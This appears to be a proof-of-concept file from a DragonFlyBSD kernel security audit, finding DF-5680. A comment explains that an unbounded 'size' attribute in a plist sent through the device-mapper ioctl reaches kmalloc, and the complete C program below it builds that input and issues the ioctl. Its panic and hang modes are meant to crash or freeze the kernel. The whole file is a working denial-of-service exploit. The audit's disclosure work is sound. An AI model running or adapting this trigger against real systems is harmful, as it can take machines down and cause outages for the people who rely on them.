⬢ DragonFlyBSD Kernel Audit
DF-5680 / df5680_dmcrash.c
← back to finding ↓ download raw
/*
 * DF-5680 — kernel trigger.
 *
 * Root/operator opens /dev/mapper/control (0640 root:operator) and issues
 * NETBSD_DM_IOCTL with a plistref pointing at:
 *
 *   <plist version="1.0"><dict><key>a</key>
 *     <data size="N">QQ==</data></dict></plist>
 *
 * dmioctl() -> prop_dictionary_copyin_ioctl() -> _prop_object_copyin()
 * (prop_kern.c:398-411) -> prop_dictionary_internalize(buf) ->
 * _prop_data_internalize (prop_data.c:543) sees the "size" attribute,
 * strtoul()s it into len (prop_data.c:572 — the ERANGE guard is compiled
 * out in-kernel at :573-576) and calls
 *
 *   buf = _PROP_MALLOC(len + 1, M_PROP_DATA);   // == kmalloc(len+1,
 *                                                //    M_PROP_DATA, M_WAITOK)
 *
 * with no upper bound (prop_data.c:588).  In the kernel that is:
 *
 *   panic mode  (N = 2^63): size exceeds the kernel_map KVA span ->
 *       vm_map_findspace() fails and kmem_slab_alloc() panics with
 *       "kernel_map ran out of space!" (kern_slaballoc.c:1721-1724;
 *       M_WAITOK does not include M_NULLOK so NULL is not an option).
 *
 *   hang mode   (N = 8GiB on a 4GiB guest): KVA is available but the
 *       pages are not -> vm_page_alloc() returns NULL forever and the
 *       M_WAITOK retry loop calls vm_wait(0) for eternity
 *       (kern_slaballoc.c:1778-1804).  The ioctl never returns; the
 *       stuck thread is not signal-interruptible.
 *
 * usage: df5680_dmcrash panic|hang|<custom-size>
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct plistref {			/* mirror of sys/libprop/plistref.h */
	void	*pref_plist;
	size_t	 pref_len;
};

#define DM_IOCTL		0xfd
#define NETBSD_DM_IOCTL		_IOWR(DM_IOCTL, 0, struct plistref)

static char *
mkxml(const char *sizeval, size_t *lenp)
{
	static const char *hdr =
	    "<plist version=\"1.0\"><dict><key>a</key><data size=\"";
	static const char *mid = "\">QQ==</data></dict></plist>";
	size_t hl = strlen(hdr), vl = strlen(sizeval), ml = strlen(mid);
	char *xml = malloc(hl + vl + ml + 1);

	if (xml == NULL)
		abort();
	memcpy(xml, hdr, hl);
	memcpy(xml + hl, sizeval, vl);
	memcpy(xml + hl + vl, mid, ml + 1);
	*lenp = hl + vl + ml;
	return (xml);
}

int
main(int argc, char **argv)
{
	struct plistref pref;
	const char *sizeval;
	size_t len;
	char *xml;
	int fd;

	if (argc > 2)
		sizeval = argv[2];
	else if (argc == 2 && strcmp(argv[1], "hang") == 0)
		sizeval = "8589934592";		/* 8 GiB > 4 GiB RAM */
	else if (argc == 2 && strcmp(argv[1], "panic") == 0)
		sizeval = "9223372036854775808";	/* 2^63 > KVA span */
	else {
		fprintf(stderr, "usage: %s panic|hang|<size>\n", argv[0]);
		return (2);
	}

	fd = open("/dev/mapper/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/mapper/control");
		return (1);
	}

	xml = mkxml(sizeval, &len);
	pref.pref_plist = xml;
	pref.pref_len = len;

	fprintf(stderr, "DF5680: size=\"%s\" xml_len=%zu ... ioctl "
	    "(kernel: expect panic or permanent hang)\n", sizeval, len);
	fflush(stderr);

	if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0)
		perror("ioctl");
	fprintf(stderr, "DF5680: ioctl RETURNED errno=%d (kernel survived "
	    "size=\"%s\")\n", errno, sizeval);
	return (0);
}